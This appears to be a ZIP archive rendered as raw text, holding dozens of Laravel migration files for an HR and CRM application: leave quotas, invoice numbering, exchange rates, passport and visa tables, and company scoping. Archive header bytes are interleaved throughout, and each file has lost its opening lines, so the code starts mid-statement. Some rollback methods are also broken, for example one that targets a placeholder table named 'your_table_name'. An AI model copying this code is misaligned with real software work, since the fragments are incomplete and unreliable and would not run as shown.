$table->enum('auth_theme_text', ['dark', 'light'])->after('auth_theme')->default('dark'); }); cache()->forget('global_settings'); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('global_settings', function (Blueprint $table) { $table->dropColumn('auth_theme_text'); }); Schema::table('companies', function (Blueprint $table) { $table->dropColumn('auth_theme_text'); }); cache()->forget('global_settings'); } }; PKZFinnAmigrations/2023_02_01_085841_add_company_sign_contracts_table.phpnu[string('company_sign')->nullable(); $table->date('sign_date')->nullable(); }); Schema::table('contract_signs', function (Blueprint $table) { $table->string('place')->nullable(); $table->string('date')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contracts'); Schema::dropIfExists('contract_signs'); } }; PKZ`  ?migrations/2023_05_16_083058_add_ids_in_mention_users_table.phpnu[dropColumn('early_clock_in'); }); Schema::table('employee_shifts', function (Blueprint $table) { $table->string('early_clock_in')->nullable(); }); Schema::table('mention_users', function (Blueprint $table) { $table->integer('ticket_id')->unsigned()->nullable()->after('discussion_id'); $table->foreign('ticket_id')->references('id')->on('tickets') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('event_id')->unsigned()->nullable()->after('ticket_id'); $table->foreign('event_id')->references('id')->on('events') ->onDelete('cascade') ->onUpdate('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('mention_users', function (Blueprint $table) { // }); } }; PKZLW~[[3migrations/2024_12_20_105535_fix_client_entries.phpnu[join('client_details', 'employee_details.user_id', '=', 'client_details.user_id')->delete(); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZб<migrations/2022_12_29_061634_add_column_in_invoice_table.phpnu[integer('default_currency_id')->unsigned()->nullable()->after('currency_id'); $table->foreign('default_currency_id') ->references('id') ->on('currencies') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('exchange_rate')->nullable()->after('default_currency_id'); }); } } $exchangeRates = Currency::whereNull('exchange_rate')->get(); foreach ($exchangeRates as $exchangeRate) { $exchangeRate->exchange_rate = 1; $exchangeRate->save(); } $currencies = Currency::select('id', 'exchange_rate')->get(); foreach ($currencies as $currency) { Invoice::where('currency_id', $currency->id)->update(['exchange_rate' => $currency->exchange_rate]); Payment::where('currency_id', $currency->id)->update(['exchange_rate' => $currency->exchange_rate]); Expense::where('currency_id', $currency->id)->update(['exchange_rate' => $currency->exchange_rate]); } } /** * Reverse the migrations. * * @return void */ public function down() { foreach (['invoices', 'payments', 'expenses'] as $tableName) { Schema::table($tableName, function (Blueprint $table) { $table->dropForeign('default_currency_id'); $table->dropColumn('default_currency_id'); $table->dropColumn('exchange_rate'); }); } } }; PKZ׀Jmigrations/2024_09_19_122038_update_expense_exchange_rate_column_value.phpnu[unsignedInteger('user_id')->nullable()->change(); }); DB::table('expenses') ->join('currencies', 'expenses.currency_id', '=', 'currencies.id') ->update(['expenses.exchange_rate' => DB::raw('currencies.exchange_rate')]); Schema::table('global_settings', function (Blueprint $table) { $table->string('dedicated_subdomain')->nullable()->after('currency_key_version'); // Adjust the 'after' field as needed }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('expenses', function (Blueprint $table) { $table->unsignedInteger('user_id')->nullable(false)->change(); }); DB::table('expenses')->update(['exchange_rate' => NULL]); Schema::table('global_settings', function (Blueprint $table) { $table->dropColumn('dedicated_subdomain'); }); } }; PKZX,9 9 <migrations/2022_09_13_075642_create_leave_settings_table.phpnu[enum('manager_status_permission', ['pre-approve', 'approved'])->nullable(); }); Schema::create('leave_settings', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->enum('manager_permission', ['pre-approve', 'approved', 'cannot-approve'])->default('pre-approve'); $table->timestamps(); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $company->leaveSetting()->create(); $this->workAnniversaryDashboardWidget($company); $this->birthdayPaymentNotification($company); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('leave_settings'); Schema::table('leaves', function (Blueprint $table) { $table->dropColumn('manager_status_permission'); }); } private function birthdayPaymentNotification($company) { EmailNotificationSetting::firstOrCreate([ 'setting_name' => 'Birthday notification', 'company_id' => $company->id, 'send_email' => 'yes', 'send_slack' => 'yes', 'send_push' => 'no', 'slug' => str_slug('Birthday notification') ]); EmailNotificationSetting::firstOrCreate([ 'setting_name' => 'Payment Notification', 'send_email' => 'yes', 'company_id' => $company->id, 'send_slack' => 'no', 'send_push' => 'no', 'slug' => 'payment-notification' ]); } private function workAnniversaryDashboardWidget($company) { $widget = new DashboardWidget(); $widget->company_id = $company->id; $widget->widget_name = 'work_anniversary'; $widget->status = 1; $widget->dashboard_type = 'private-dashboard'; $widget->save(); } }; PKZ 3migrations/2024_10_19_092843_recalculate_leaves.phpnu[double('overutilised_leaves')->default(0); $table->double('unused_leaves')->default(0); $table->double('carry_forward_leaves')->default(0); $table->double('carry_forward_applied')->default(0); }); Schema::table('employee_leave_quota_histories', function ($table){ $table->double('overutilised_leaves')->default(0); $table->double('unused_leaves')->default(0); $table->double('carry_forward_leaves')->default(0); $table->boolean('carry_forward_applied')->default(0); }); Schema::table('leave_types', function ($table){ $table->double('no_of_leaves')->change(); }); DB::table('employee_leave_quota_histories')->truncate(); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_leave_quota_histories', function ($table){ $table->dropColumn(['carry_forward_applied']); $table->dropColumn(['carry_forward_leaves']); $table->dropColumn(['unused_leaves']); $table->dropColumn(['overutilised_leaves']); }); Schema::table('employee_leave_quotas', function ($table){ $table->dropColumn(['carry_forward_applied']); $table->dropColumn(['carry_forward_leaves']); $table->dropColumn(['unused_leaves']); $table->dropColumn(['overutilised_leaves']); }); } }; PKZa  Lmigrations/2023_03_23_064221_add_country_phonecode_column_in_users_table.phpnu[integer('country_phonecode')->nullable()->after('image'); }); User::with('country') ->withoutGlobalScopes([CompanyScope::class, ActiveScope::class]) ->whereNotNull('country_id') ->update(['country_phonecode' => DB::raw('(SELECT phonecode FROM countries WHERE countries.id = users.country_id)')]); } if (!Schema::hasColumn('global_settings', 'time_format')) { Schema::table('global_settings', function (Blueprint $table) { $table->after('currency_key_version', function($table){ $table->string('date_format', 20)->default('d-m-Y'); $table->string('time_format', 20)->default('h:i a'); }); }); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('users', function (Blueprint $table) { $table->dropColumn('country_phonecode'); }); } }; PKZcpp>migrations/2024_08_09_081908_add_twitter_id_to_users_table.phpnu[string('twitter_id')->nullable(); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropColumn('twitter_id'); }); } }; PKZ>xPmigrations/2024_07_04_125225_add_estimate_request_prefix_to_invoice_settings.phpnu[string('estimate_request_prefix')->default('ESTRQ')->after('contract_number_separator'); $table->string('estimate_request_number_separator')->default('#')->after('estimate_request_prefix'); $table->integer('estimate_request_digit')->default(3)->after('estimate_request_number_separator'); }); $estimateRequests = EstimateRequest::whereNull('estimate_request_number')->orderBy('id')->get(); $invoiceSetting = invoice_setting(); foreach ($estimateRequests as $estimateRequest) { $lastEstimate = EstimateRequest::lastRequestNumber() + 1; $zero = str_repeat('0', $invoiceSetting->estimate_request_digit - strlen($lastEstimate)); $originalNumber = $zero . $lastEstimate; $requestNumber = $invoiceSetting->estimate_request_prefix . $invoiceSetting->estimate_request_number_separator . $zero . $lastEstimate; $estimateRequest->update([ 'estimate_request_number' => $requestNumber, 'original_request_number' => $originalNumber, ]); if ($estimateRequest->estimate_id) { $estimateRequest->estimate->update([ 'estimate_request_id' => $estimateRequest->id ]); } } } /** * Reverse the migrations. */ public function down(): void { Schema::table('invoice_settings', function (Blueprint $table) { $table->dropColumn(['estimate_request_prefix', 'estimate_request_number_separator', 'estimate_request_number_length']); }); } }; PKZk݈Bmigrations/2023_09_25_055948_add_column_for_number_with_prefix.phpnu[string('original_credit_note_number')->nullable()->after('cn_number'); }); } if (!Schema::hasColumn('contracts', 'original_contract_number')) { Schema::table('contracts', function (Blueprint $table) { $table->string('contract_number')->nullable()->change(); $table->string('original_contract_number')->nullable()->after('contract_number'); }); } if (!Schema::hasColumn('estimates', 'original_estimate_number')) { Schema::table('estimates', function (Blueprint $table) { $table->string('estimate_number')->nullable()->change(); $table->string('original_estimate_number')->nullable()->after('estimate_number'); }); } if (!Schema::hasColumn('orders', 'original_order_number')) { Schema::table('orders', function (Blueprint $table) { $table->string('order_number')->nullable()->change(); $table->string('original_order_number')->nullable()->after('order_number'); }); } if (!Schema::hasColumn('invoices', 'original_invoice_number')) { Schema::table('invoices', function (Blueprint $table) { $table->string('invoice_number')->change(); $table->string('original_invoice_number')->nullable()->after('invoice_number'); }); } $companeis = Company::get(); foreach ($companeis as $company) { $invoiceSettings = InvoiceSetting::withoutGlobalScopes()->where('company_id', $company->id)->first(); $creditNotes = CreditNotes::withoutGlobalScopes()->where('company_id', $company->id)->get(); foreach ($creditNotes as $creditNote) { $creditNote->cn_number = NumberFormat::creditNote($creditNote->cn_number, $invoiceSettings); $creditNote->original_credit_note_number = str($creditNote->cn_number)->replace($invoiceSettings->credit_note_prefix . $invoiceSettings->credit_note_number_separator, ''); $creditNote->saveQuietly(); } $contracts = Contract::withoutGlobalScopes()->where('company_id', $company->id)->get(); foreach ($contracts as $contract) { $contract->contract_number = NumberFormat::contract($contract->contract_number, $invoiceSettings); $contract->original_contract_number = str($contract->contract_number)->replace($invoiceSettings->contract_prefix . $invoiceSettings->contract_number_separator, ''); $contract->saveQuietly(); } $invoices = Invoice::withoutGlobalScopes()->where('company_id', $company->id)->get(); foreach ($invoices as $invoice) { $invoice->invoice_number = NumberFormat::invoice($invoice->invoice_number, $invoiceSettings); $invoice->original_invoice_number = str($invoice->invoice_number)->replace($invoiceSettings->invoice_prefix . $invoiceSettings->invoice_number_separator, ''); $invoice->saveQuietly(); } $estimates = Estimate::withoutGlobalScopes()->where('company_id', $company->id)->get(); foreach ($estimates as $estimate) { $estimate->estimate_number = NumberFormat::estimate($estimate->estimate_number, $invoiceSettings); $estimate->original_estimate_number = str($estimate->estimate_number)->replace($invoiceSettings->estimate_prefix . $invoiceSettings->estimate_number_separator, ''); $estimate->saveQuietly(); } $orders = Order::withoutGlobalScopes()->where('company_id', $company->id)->get(); foreach ($orders as $order) { $order->order_number = NumberFormat::order($order->order_number, $invoiceSettings); $order->original_order_number = str($order->order_number)->replace($invoiceSettings->order_prefix . $invoiceSettings->order_number_separator, ''); $order->saveQuietly(); } } } }; PKZMgHmigrations/2022_08_25_085025_add_other_location_to_attendances_table.phpnu[enum('work_from_type', ['home', 'office', 'other'])->default('other'); $table->string('working_from')->nullable()->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('attendances', function (Blueprint $table) { $table->dropColumn('work_from_type'); }); } }; PKZ/={8migrations/2024_02_19_062223_create_deal_notes_table.phpnu[increments('id'); $table->string('title'); $table->longText('details')->nullable(); $table->unsignedBigInteger('deal_id')->nullable(); $table->unsignedInteger('added_by')->nullable(); $table->unsignedInteger('last_updated_by')->nullable(); $table->foreign('last_updated_by')->references('id')->on('users')->onDelete('cascade'); $table->foreign('added_by')->references('id')->on('users')->onDelete('cascade'); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade')->onUpdate('cascade'); $table->timestamps(); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('deal_notes'); } }; PKZh##@migrations/2024_06_25_044638_update_employeeleavequota_table.phpnu[user_id)->where('leave_type_id', $history->leave_type_id)->count(); $history->update(['leaves_used' => $leavesCount]); $history->update(['leaves_remaining' => $history->no_of_leaves - $leavesCount]); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ uu<migrations/2022_09_01_000000_add_company_id_in_all_table.phpnu[first(); // Delete if more than one companies in database for worksuite // Delete all other companies except first if ($count > 1 && $first === 1) { Company::where('id', '<>', $first)->delete(); } try { foreach ($tables as $table) { // Check if company id exists in database if (!Schema::hasColumn($table, 'company_id')) { Schema::table($table, function (Blueprint $table) { $table->integer('company_id')->unsigned()->nullable()->after('id'); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); }); // This is done for existing customers. To update the company id with 1 if ($first === 1) { DB::table($table)->update(['company_id' => 1]); } } } } catch (Exception $e) { dd($e->getMessage()); } if (!Schema::hasColumn('companies', 'status')) { Schema::table('companies', function (Blueprint $table) { $table->integer('default_task_status')->unsigned()->nullable()->default(null)->change(); $table->enum('status', ['active', 'inactive'])->after('active_theme')->default('active'); $table->dateTime('last_login')->nullable(); $table->boolean('rtl')->default(false); }); } if (!Schema::hasColumn('companies', 'hash')) { Schema::table('companies', function (Blueprint $table) { $table->string('hash')->nullable()->after('token'); }); } $this->removeUnique(); $companies = Company::select('id')->get(); foreach ($companies as $company) { $this->saveUniqueHash($company); $company->taskSetting()->firstOrCreate(); } } /** * Reverse the migrations. * * @return void */ public function down() { // } private function saveUniqueHash($company) { $company->hash = md5(microtime()); $company->saveQuietly(); } private function removeUnique() { // Remove unique try { Schema::table('roles', function (Blueprint $table) { $table->dropUnique(['name']); $table->unique(['name', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('permissions', function (Blueprint $table) { $table->dropUnique(['name']); $table->unique(['name', 'module_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('employee_details', function (Blueprint $table) { $table->dropUnique(['employee_id']); $table->dropUnique(['slack_username']); $table->unique(['employee_id', 'company_id']); $table->unique(['slack_username', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('estimates', function (Blueprint $table) { $table->dropUnique(['estimate_number']); $table->unique(['estimate_number', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('invoices', function (Blueprint $table) { $table->dropUnique(['invoice_number']); $table->unique(['invoice_number', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('lead_sources', function (Blueprint $table) { $table->dropUnique(['type']); $table->unique(['type', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('lead_status', function (Blueprint $table) { $table->dropUnique(['type']); $table->unique(['type', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('payments', function (Blueprint $table) { $table->dropUnique(['event_id']); $table->dropUnique(['transaction_id']); $table->unique(['event_id', 'company_id']); $table->unique(['transaction_id', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('push_subscriptions', function (Blueprint $table) { $table->dropUnique(['endpoint']); $table->unique(['endpoint', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('taskboard_columns', function (Blueprint $table) { $table->dropUnique(['column_name']); $table->unique(['column_name', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('ticket_channels', function (Blueprint $table) { $table->dropUnique(['channel_name']); $table->unique(['channel_name', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('ticket_types', function (Blueprint $table) { $table->dropUnique(['type']); $table->unique(['type', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } try { Schema::table('users', function (Blueprint $table) { $table->dropUnique(['email']); $table->unique(['email', 'company_id']); }); } catch (\Exception $e) { echo $e->getMessage(); } } }; PKZ RSmigrations/2024_12_03_115823_leave_duration_issue_for_unique_id_in_leaves_table.phpnu[whereNull('unique_id') ->update(['duration' => 'single']); } /** * Reverse the migrations. */ public function down(): void { } }; PKZ2G\\Hmigrations/2024_07_09_083337_add_proposal_prefix_to_invoice_settings.phpnu[string('proposal_prefix')->default('Proposal')->after('order_digit'); }); } if (!Schema::hasColumn('invoice_settings', 'proposal_number_separator')) { Schema::table('invoice_settings', function (Blueprint $table) { $table->string('proposal_number_separator')->default('#')->after('proposal_prefix'); }); } if (!Schema::hasColumn('invoice_settings', 'proposal_digit')) { Schema::table('invoice_settings', function (Blueprint $table) { $table->integer('proposal_digit')->default(3)->after('proposal_number_separator'); }); } if (!Schema::hasColumn('proposals', 'proposal_number')) { Schema::table('proposals', function ($table) { $table->string('proposal_number')->nullable()->after('id'); }); } if (!Schema::hasColumn('proposals', 'original_proposal_number')) { Schema::table('proposals', function ($table) { $table->string('original_proposal_number')->nullable()->after('proposal_number'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('invoice_settings', function (Blueprint $table) { $table->dropColumn(['proposal_prefix', 'proposal_number_separator', 'proposal_digit']); }); } }; PKZKmigrations/2023_04_11_083659_add_bank_column_in_recurring_invoice_table.phpnu[integer('bank_account_id')->unsigned()->nullable(); $table->foreign('bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('set null') ->onUpdate('cascade'); }); Schema::table('expenses_recurring', function (Blueprint $table) { $table->integer('bank_account_id')->unsigned()->nullable(); $table->foreign('bank_account_id') ->references('id') ->on('bank_accounts') ->onDelete('set null') ->onUpdate('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('invoice_recurring', function (Blueprint $table) { $table->dropForeign('invoice_recurring_bank_account_id_foreign'); $table->dropColumn('bank_account_id'); }); Schema::table('expenses_recurring', function (Blueprint $table) { $table->dropForeign('expenses_recurring_bank_account_id_foreign'); $table->dropColumn('bank_account_id'); }); } }; PKZlMŽ3migrations/2022_09_02_151515_create_flags_table.phpnu[id(); $table->string('capital')->nullable(); $table->string('code')->nullable(); $table->string('continent')->nullable(); $table->string('name')->nullable(); }); $url = public_path('country.json'); $responses = file_get_contents($url); $responses = json_decode($responses); $values = []; foreach ($responses as $response) { $data = get_object_vars($response); $values[] = [ 'capital' => $data['capital'] ?? '', 'code' => $data['code'], 'continent' => $data['continent'] ?? '', 'name' => $data['name'], ]; } Flag::insert($values); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('flags'); } }; PKZIIImigrations/2022_12_05_062331_create_emoji_address_ticket_widget_table.phpnu[id(); $table->integer('user_id')->unsigned()->nullable(); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); $table->integer('comment_id')->unsigned()->nullable(); $table->foreign('comment_id')->references('id')->on('task_comments')->onDelete('cascade')->onUpdate('cascade'); $table->string('emoji_name')->nullable(); $table->timestamps(); }); Schema::table('company_addresses', function (Blueprint $table) { $table->decimal('latitude', 10, 8)->default(null)->nullable(); $table->decimal('longitude', 11, 8)->default(null)->nullable(); }); $companies = Company::get(); foreach ($companies as $company) { // Update company address $company->companyAddress()->whereNull('latitude') ->update([ 'latitude' => $company->latitude, 'longitude' => $company->longitude ]); // Create new widget ticket $widget = [ 'widget_name' => 'ticket', 'status' => 1, 'company_id' => $company->id, 'dashboard_type' => 'private-dashboard', ]; DashboardWidget::create($widget); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('task_comment_emoji'); Schema::table('company_addresses', function (Blueprint $table) { $table->dropColumn(['latitude']); $table->dropColumn(['longitude']); }); } }; PKZMOmigrations/2024_09_05_051501_change_title_field_nullabe_to_deal_notes_table.phpnu[string('title', 191)->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('deal_notes', function (Blueprint $table) { $table->string('title', 191)->nullable(false)->change(); }); } }; PKZo;11:migrations/2023_12_19_091940_purchase_on_setting_table.phpnu[timestamp('purchased_on')->nullable()->after('supported_until'); }); } /** * Reverse the migrations. */ public function down(): void { } }; PKZ;LiJnn:migrations/2024_08_28_072957_add_flexible_shift_column.phpnu[enum('shift_type', ['strict', 'flexible'])->default('strict')->after('shift_short_code'); $table->float('flexible_half_day_hours')->after('shift_type'); $table->float('flexible_total_hours')->after('shift_type'); $table->float('flexible_auto_clockout')->after('flexible_total_hours'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_shifts', function (Blueprint $table) { // }); } }; PKZ1 J7migrations/2023_10_27_071930_repeat_event_parnet_id.phpnu[unsignedInteger('parent_id')->nullable()->after('id'); $table->foreign('parent_id')->references('id')->on('events')->onDelete('cascade'); }); } } /** * Reverse the migrations. */ public function down(): void { if (Schema::hasColumn('events', 'parent_id')) { Schema::table('events', function (Blueprint $table) { $table->dropForeign(['parent_id']); $table->dropColumn('parent_id'); }); } } }; PKZ%<migrations/2024_10_04_043201_cleanup_deleted_leaves_data.phpnu[toArray(); $folder = LeaveFile::FILE_PATH; $folderPath = public_path(Files::UPLOAD_FOLDER . '/' . $folder); if (File::exists($folderPath)) { $leaveFolders = File::directories($folderPath); foreach ($leaveFolders as $leaveFolder) { $leaveId = basename($leaveFolder); if (!in_array($leaveId, $existingLeaveIds)) { File::deleteDirectory($leaveFolder); } } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ_T 4migrations/2022_12_30_090615_move_google_map_key.phpnu[googleMapKey(); $this->subTotalTables(); $this->lastViewed(); $this->faviconToCompany(); $this->noteDetailsToText(); $this->foreignKeyFixCompaniesTable(); Team::where('parent_id', 0)->update(['parent_id' => null]); } /** * Reverse the migrations. * * @return void */ public function down() { // } private function subTotalTables() { $subTotalTables = ['proposal_templates', 'orders', 'quotations']; foreach ($subTotalTables as $tableName) { Schema::table($tableName, function (Blueprint $table) { $table->double('sub_total', 16, 2)->change(); }); } } private function googleMapKey() { if (!Schema::hasColumn('global_settings', 'google_map_key')) { Schema::table('global_settings', function (Blueprint $table) { $table->string('google_map_key')->nullable(); }); } $company = Company::first(); if ($company) { $globalSetting = GlobalSetting::first(); $globalSetting->google_map_key = $company->google_map_key; $globalSetting->saveQuietly(); } } private function faviconToCompany() { if (!Schema::hasColumn('companies', 'favicon')) { Schema::table('companies', function (Blueprint $table) { $table->string('favicon')->nullable()->after('logo'); }); $globalSetting = GlobalSetting::select('id', 'favicon')->first(); if ($globalSetting) { $company = Company::first(); $company->favicon = $globalSetting->favicon; $company->saveQuietly(); } } } private function lastViewed() { // Add last viewed and other info $lastViewedTables = ['proposals', 'invoices', 'estimates']; foreach ($lastViewedTables as $tableName) { if (!Schema::hasColumn($tableName, 'last_viewed')) { Schema::table($tableName, function (Blueprint $table) { $table->timestamp('last_viewed')->nullable(); $table->string('ip_address')->nullable(); }); } } } private function noteDetailsToText() { Schema::table('lead_notes', function (Blueprint $table) { $table->text('details')->change(); }); } private function foreignKeyFixCompaniesTable() { $currencyTables = GlobalSetting::CURRENCY_TABLES; // We are restricting the currency id delete to prevent deleting records foreach ($currencyTables as $currencyTable) { try { Schema::table($currencyTable, function (Blueprint $table) { $table->dropForeign(['currency_id']); $table->foreign('currency_id')->references('id')->on('currencies')->onUpdate('cascade')->onDelete('cascade'); }); } catch (\Exception $e) { echo $e->getMessage(); } } } }; PKZl  Fmigrations/2024_09_23_081839_alter_data_type_of_task_table_columns.phpnu[dateTime('start_date')->nullable()->change(); $table->dateTime('due_date')->nullable()->change(); }); Task::whereNotNull('created_at') ->whereRaw("TIME(start_date) = '00:00:00' AND TIME(due_date) = '00:00:00'") ->update([ 'start_date' => DB::raw("CONCAT(DATE(start_date), ' ', TIME(created_at))"), 'due_date' => DB::raw("CONCAT(DATE(due_date), ' ', TIME(created_at))"), ]); // $tasks = Task::whereNotNull('created_at') // ->whereRaw("TIME(start_date) = '00:00:00' AND TIME(due_date) = '00:00:00'") // ->get(); // // $tasks->each(function($row) { // $startDate = Carbon::parse($row->start_date)->format('Y-m-d'); // $dueDate = Carbon::parse($row->due_date)->format('Y-m-d'); // $createdAtTime = Carbon::parse($row->created_at)->format('H:i:s'); // // $newStartDate = Carbon::parse("{$startDate} {$createdAtTime}"); // $newDueDate = Carbon::parse("{$dueDate} {$createdAtTime}"); // // // Perform bulk update in one query for each task // $row->update([ // 'start_date' => $newStartDate, // 'due_date' => $newDueDate, // ]); // }); // Task::whereNotNull('created_at')->get()->each(function($row) { // // if (Carbon::parse($row->start_date)->format('H:i:s') === '00:00:00' && Carbon::parse($row->start_date)->format('H:i:s') === '00:00:00') { // // $startDate = Carbon::parse($row->start_date)->format('Y-m-d'); // $dueDate = Carbon::parse($row->due_date)->format('Y-m-d'); // // $createdAtTime = Carbon::parse($row->created_at)->format('H:i:s'); // // $newStartDate = Carbon::parse("{$startDate} {$createdAtTime}"); // $newDueDate = Carbon::parse("{$dueDate} {$createdAtTime}"); // // Task::where('id', $row->id)->update([ // 'start_date' => $newStartDate, // 'due_date' => $newDueDate, // ]); // } // }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('your_table_name', function (Blueprint $table) { $table->date('start_date')->nullable()->change(); $table->date('due_date')->nullable()->change(); }); } }; PKZ#$ Gmigrations/2024_08_12_121751_pending_and_negative_leaves_settlement.phpnu[chunk(50, function ($companies) { foreach ($companies as $company) { $this->removeNegativeLeaves($company); } }); } public function removeNegativeLeaves(Company $company) { try { // employee leave quota remove negative vales for the current $employees = User::withoutGlobalScopes() ->where('company_id', $company->id) ->onlyEmployee()->get(); foreach ($employees as $employee) { foreach ($employee->leaveTypes as $leaveQuota) { $approvedLeavesCount = Leave::where('user_id', $employee->id) ->where('leave_type_id', $leaveQuota->leave_type_id) ->where('status', 'approved') ->get() ->sum(function($leave) { return $leave->half_day_type ? 0.5 : 1; }); $leaveQuota->leaves_used = $approvedLeavesCount; $leaveQuota->leaves_remaining = $leaveQuota->no_of_leaves - $approvedLeavesCount; if ($leaveQuota->leaves_used > $leaveQuota->no_of_leaves) { $leaveQuota->no_of_leaves = $leaveQuota->leaves_used; $leaveQuota->leaves_remaining = 0; } $leaveQuota->save(); } foreach ($employee->leaveQuotaHistory as $history) { // Determine the start and end dates based on for_month $startDate = date('Y-m-01', strtotime($history->for_month)); $endDate = date('Y-m-t', strtotime($history->for_month)); $count = Leave::where('leave_type_id', $history->leave_type_id) ->where('status', 'approved') ->where('user_id',$employee->id) ->where(function ($query) use ($startDate, $endDate) { $query->where('leave_date', '<=', $endDate) ->where('leave_date', '>=', $startDate); })->get() ->sum(function($leave) { return $leave->half_day_type ? 0.5 : 1; }); $history->leaves_used = $count; $history->leaves_remaining = $history->no_of_leaves - $count; $history->updated_at = now(); // Update the timestamp if needed $history->save(); // Save the changes } } } catch (\Exception $e) { // Log the error or handle it as needed Log::error('Error processing employee in company ID ' . $company->id . ': ' . $e->getMessage()); } } /** * Reverse the migrations. */ public function down(): void { // You may want to define reverse logic if applicable } }; PKZmGmigrations/2024_05_03_102713_update_exchange_rate_in_expenses_table.phpnu[update(['exchange_rate' => DB::raw('ROUND(1 / exchange_rate, 4)')]); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ>migrations/2023_02_09_083357_create_passprt_and_visa_table.phpnu[first(); if(!is_null($module)){ $permissionType = [ [ 'module_id' => $module->id, 'display_name' => 'Add Immigration', 'name' => 'add_immigration', 'is_custom' => 1, 'allowed_permissions' => Permission::ALL_4_OWNED_2_NONE_5, ], [ 'module_id' => $module->id, 'display_name' => 'View Immigration', 'name' => 'view_immigration', 'is_custom' => 1, 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, ], [ 'module_id' => $module->id, 'display_name' => 'Edit Immigration', 'name' => 'edit_immigration', 'is_custom' => 1, 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, ], [ 'module_id' => $module->id, 'display_name' => 'Delete Immigration', 'name' => 'delete_immigration', 'is_custom' => 1, 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5, ], ]; $companies = Company::select('id')->get(); foreach($permissionType as $key => $permissionTypes) { $permission = new Permission(); $permission->name = $permissionTypes['name']; $permission->display_name = $permissionTypes['display_name']; $permission->module_id = $module->id; $permission->is_custom = $permissionTypes['is_custom']; $permission->allowed_permissions = $permissionTypes['allowed_permissions']; $permission->save(); foreach($companies as $company){ $role = Role::where('name', 'admin')->where('company_id', $company->id)->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; $permissionRole->save(); $admins = User::allAdmins($company->id); foreach($admins as $admin) { $userPermission = new UserPermission(); $userPermission->user_id = $admin->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; $userPermission->save(); } } } } Schema::create('passport_details', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('user_id')->unsigned()->nullable(); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('country_id')->nullable()->index('passport_details_country_id_foreign'); $table->foreign(['country_id'])->references(['id'])->on('countries')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->string('passport_number'); $table->date('issue_date'); $table->date('expiry_date'); $table->string('file')->nullable(); $table->timestamps(); }); Schema::create('visa_details', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('user_id')->unsigned()->nullable(); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('country_id')->nullable()->index('visa_details_country_id_foreign'); $table->foreign(['country_id'])->references(['id'])->on('countries')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->integer('added_by')->unsigned()->nullable(); $table->foreign('added_by')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->string('visa_number'); $table->date('issue_date'); $table->date('expiry_date'); $table->string('file')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('passport_details'); 